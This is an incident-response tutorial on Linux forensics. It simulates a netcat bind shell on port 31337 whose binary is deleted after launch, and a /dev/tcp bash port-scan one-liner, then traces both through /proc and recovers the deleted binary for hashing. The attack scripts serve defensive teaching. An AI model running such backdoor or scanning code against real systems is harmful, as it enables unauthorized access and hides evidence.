Digital Forensics and Incident Response (DFIR) is the art of studying a potentially compromised system to understand the blast radius of an attack. In this article I will look at some of the DFIR steps a security analyst might take following an incident. I will also simulate a couple of attacks and then go through how an analyst might respond after a monitoring system raises an alarm about a potential attack. (See the box entitled "Resources and Tools" for more on the post-incident investigation environment.) A large part of this discussion was inspired by an excellent article by Craig Rowland [1].

Resources and Tools

In 2022, a Linux Malware Course was published to GitHub [2] by a user called Arch Cloud Labs [3]. I would recommend looking through the repository, although be warned there are apparently live malware samples that can cause systems damage. The main focus areas of the course are:

• log analysis
• file carving
• binary triage
• network analysis

I mention this course because it contains the excellent reminder of the power that comes with pulling together multiple sources of logging information. For example, a compromised system that was initially infiltrated over the network will show some traces if logging was enabled and is detailed enough to be useful.

The Arch Cloud Labs presentation slides reminded me about logging systems such as Elasticsearch [4] (which might instead be Splunk [5] in an enterprise environment). The course's repository contains an example screenshot of a wget command that's pulling content from a remote URL before executing it via what looks like a directory traversal attack [6]. In Figure 1, the Elasticsearch screenshot shows the visualization of such an attack, gleaned from Apache web server logs.

Figure 1: Scrutinizing web server logging data. © https://github.com/archcloudlabs/BSidesRoc2022_Linux_Malware_Analysis_Course/tree/main/01_Log_Analysis

Other useful tools that might assist investigators are custom made for the task. One such tool is called REMnux [7], described by the developers as "a Linux toolkit for reverse-engineering and analyzing malicious software. REMnux provides a curated collection of free tools created by the community." It looks like an interesting set of tools under one umbrella. There are even container images of popular malware analysis tools, so analysts can run containers and avoid a full-blown installation. Apparently, you can use the whole REMnux distribution as a container, too.

Also, currently in development is an open source project called Tsurugi Linux. The FAQ page answers several of my initial questions and is worth a quick read [8]. Tsurugi describes itself as "a heavily customized Linux distribution designed to support your DFIR investigations, malware analysis, and OSINT (Open Source INTelligence) activities." Another useful resource is the SANS Intrusion Discovery Cheat Sheet [9].

For purposes of illustration, I will work with a live, running system, but keep in mind that a real forensic investigation would be more likely to make an exact copy of the compromised system and scrutinize it offline. If you work offline, the offline copy should be a block-for-block carbon copy of the compromised system that contains all the metadata and potentially even live processes (depending on how the copy was created). Many professional investigations will make multiple copies of the original in order to study the problem from multiple viewpoints and still retain the integrity of the original.

Digging Deeper – Attack #1

I will use the opening example in Rowland's excellent article for the first attack. The example involves what's called a bind shell. The more popular version of backdoor access into a remote system is called a reverse shell. A reverse shell causes the compromised system to phone home back to an attacker's computer. Reverse shells are easier to instantiate because, generally, outbound firewalling is much more attacker-friendly than inbound firewall rules. In other words, a process on the system that wants to communicate with the Internet can generally do so by default. Whereas inbound traffic is almost always limited to a select number of network-based services.

With a bind shell, the compromised system has a network port opened up, and, rather than phoning home, the system just listens dutifully for the attacker to connect (usually via an obscure network port). Listing 1 creates a bind shell then deletes it.

#!/bin/bash
NETCAT="/usr/bin/nc"
if [[ -f "${NETCAT}" ]];
  then
    cp "${NETCAT}" /tmp/bad_binary
    cd /tmp
    bash -c "./bad_binary -vv -k -w 1 -l 31337 > /dev/null &"
    rm -f bad_binary
  else
    echo -e "\nNetcat is not installed, installing now...\n"
    apt install -y ncat
fi

The if statement in Listing 1 is there just to install ncat [10], which is subtly different from other Netcat packages. The script then saves a copy of the netcat binary to the world-writable directory /tmp and names the copy bad_binary.

Entering the /tmp directory, the script runs netcat so that it listens (with -l) on TCP Port 31337. The switches for netcat are simple: -vv is very verbose, the -k tells netcat to stay running, and the -w allows a timeout of a second.

What's quite sinister is the next rm -f line. This line deletes the bad_binary file right after executing it. The file then disappears from the filesystem, but the process keeps running. Running the little script shows this result (Listing 2).

$ ./bind_shell.sh
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::31337
Ncat: Listening on 0.0.0.0:31337

The ampersand (&) in Listing 1 backgrounds the Netcat process, so you need to hit the Enter key to get your prompt back again. Then, checking if ports are open, you discover there are two "Ncat: Listening" lines (Listing 2). As the lsof command output shows, the diligent Netcat is listening on both IPv4 and IPv6 (Listing 3).

$ lsof -i
COMMAND    PID    USER FD TYPE DEVICE SIZE/OFF NODE NAME
[...snip?]
bad_binar      5508    root    3u  IPv6  22873      0t0  TCP *:31337 (LISTEN)
bad_binar      5508    root    4u  IPv4  22874      0t0  TCP *:31337 (LISTEN)

Digging Deeper – Attack #2

The second attack example involves one of my favorite Linux one-liners. You can classify this attack as a "living off the land" attack [11], which means additional attack tools don't need to be installed on target systems, and instead, built-in tools can be used to a similar effect.

This example runs a port scan by using just a shell command that queries the Linux device /dev/tcp, which allows direct access to the system's network stack. The Nmap project provides a machine that you can test against (within reason). The system is called scanme.nmap.org [12]. To look up its IP address, run the following command:

$ host scanme.nmap.org
scanme.nmap.org has address 45.33.32.156
scanme.nmap.org has IPv6 address 2600:3c01::f03c:91ff:fe18:bb2f

Then, run the following long one-liner to initiate a port scan:

$ for ports in {1..65535}; do echo > /dev/tcp/45.33.32.156/$ports \
   && echo "Port is open: $ports"; done 2> /dev/null

The output is

Port is open: 22
Port is open: 80
^C

Typing Ctrl+C will exit the port scan. The one-liner is running through every TCP port (from 1 to 65,535) and will echo back any ports that are open. You need to push errors to /dev/null because closed ports are noisy (remove the end of the command to see for yourself). As the output shows, the SSH port (TCP port 22) and HTTP port (TCP port 80) are open.

I will pause for a moment while you appreciate the usefulness of this excellent command. I am able to scan ports without any networking tools!

I'm going to cheat a little now by making sure the port scan process stays alive long enough to look through the forensic analysis. To do this, I will add a sleep command in the for loop to slow down the scans and keep the PID running. The command with sleep added (which you would probably never use) is as follows:

$ for ports in {1..65535}; do sleep 30 && echo >/dev/tcp/45.33.32.156/$ports && echo "Port is open:$ports"; done 2> /dev/null &

I've also backgrounded the process with the ampersand again and this time saved it into a script and called it scan.sh. Now I obtain the PID using the ps command:

$ ps -ef | grep scan
root        1513       1  0 08:22 pts/0 00:00:00 /bin/bash ./scan.sh

The PID is 1513. I will make use of that PID and look around the system to see if I can gather information about the incident. Look at the directory listing for the port scanning process in the pseudo filesystem, /proc. The command in Listing 4 outputs a lengthy list of files from the /proc directory.

$ ls -al /proc/1513
dr-xr-xr-x   9 root root 0 May 28 08:24 .
dr-xr-xr-x 135 root root 0 May 28 08:24 ..
-r--r--r--   1 root root 0 May 28 08:24 arch_status
dr-xr-xr-x   2 root root 0 May 28 08:24 attr
-rw-r--r--   1 root root 0 May 28 08:24 autogroup
-r--------   1 root root 0 May 28 08:24 auxv
-r--r--r--   1 root root 0 May 28 08:24 cgroup
--w-------   1 root root 0 May 28 08:24 clear_refs
-r--r--r--   1 root root 0 May 28 08:24 cmdline
-rw-r--r--   1 root root 0 May 28 08:24 comm
-rw-r--r--   1 root root 0 May 28 08:24 coredump_filter
-r--r--r--   1 root root 0 May 28 08:24 cpu_resctrl_groups
-r--r--r--   1 root root 0 May 28 08:24 cpuset
lrwxrwxrwx   1 root root 0 May 28 08:24 cwd -> /root
-r--------   1 root root 0 May 28 08:24 environ
lrwxrwxrwx   1 root root 0 May 28 08:24 exe -> /usr/bin/bash
dr-x------   2 root root 0 May 28 08:24 fd
dr-x------   2 root root 0 May 28 08:24 fdinfo
-rw-r--r--   1 root root 0 May 28 08:24 gid_map
-r--------   1 root root 0 May 28 08:24 io
-r--r--r--   1 root root 0 May 28 08:24 limits
-rw-r--r--   1 root root 0 May 28 08:24 loginuid
dr-x------   2 root root 0 May 28 08:24 map_files
-r--r--r--   1 root root 0 May 28 08:24 maps
-rw-------   1 root root 0 May 28 08:24 mem
-r--r--r--   1 root root 0 May 28 08:24 mountinfo
-r--r--r--   1 root root 0 May 28 08:24 mounts
-r--------   1 root root 0 May 28 08:24 mountstats
dr-xr-xr-x  55 root root 0 May 28 08:24 net
dr-x--x--x   2 root root 0 May 28 08:24 ns
-r--r--r--   1 root root 0 May 28 08:24 numa_maps
-rw-r--r--   1 root root 0 May 28 08:24 oom_adj
-r--r--r--   1 root root 0 May 28 08:24 oom_score
[...snip?]

After noting the timestamp showing when the command was executed (Listing 4), the next thing to find is the Common Working Directory (cwd):

$ ls -al /proc/1513/cwd
lrwxrwxrwx 1 root root 0 May 28 08:26 /proc/1513/cwd -> /root

In this case, the command was run from the root user's home directory. Obscure file paths would probably be more common in the wild.

Next, look at exe. The following command shows that Bash was used directly:

$ ls -al /proc/1513/exe
lrwxrwxrwx 1 root root 0 May 28 08:26 /proc/1513/exe -> /usr/bin/bash

Now You See It

What would have happened if you examined the Netcat process in Attack #1? It would have said "deleted" after the exe entry in the process table. That would ring alarm bells if you were an analyst searching for unusual system behavior. It would show up as this snippet:

lrwxrwxrwx   1 root root 0 May 28 08:49 cwd -> /tmp
  -r--------  1 root root 0 May 28 08:49 environ
lrwxrwxrwx   1 root root 0 May 28 08:49 exe ->'/tmp/bad_binary (deleted)'

If a binary is deleted but still running as a process, it is still possible to make a copy of it for analysis later. Assuming that the code is still present in working memory, you can prompt the clever pseudo filesystem to save a carbon copy of the binary.

The following command will recover the deleted binary from Attack #1 to /tmp for future analysis:

$ cp /proc/5508/exe /tmp/recovered_bad_binary

It is also possible to check file hashes from the recovered binary. You could use a number of tools (I tend to use the md5sum command). Using Attack #1 as the example, this first command shows the real, installed "netcat" binary's checksum:

$ md5sum /usr/bin/nc
2f8eb05eb015be34879086fcc44b1574 /usr/bin/nc

And then, to prove that you've found the binary that was used in the attack, run the checksum command over the copy in the /tmp directory:

$ md5sum /tmp/recovered_bad_binary
2f8eb05eb015be34879086fcc44b1574 /tmp/recovered_bad_binary

Low and behold, the checksums match, so the copy is the same as the original.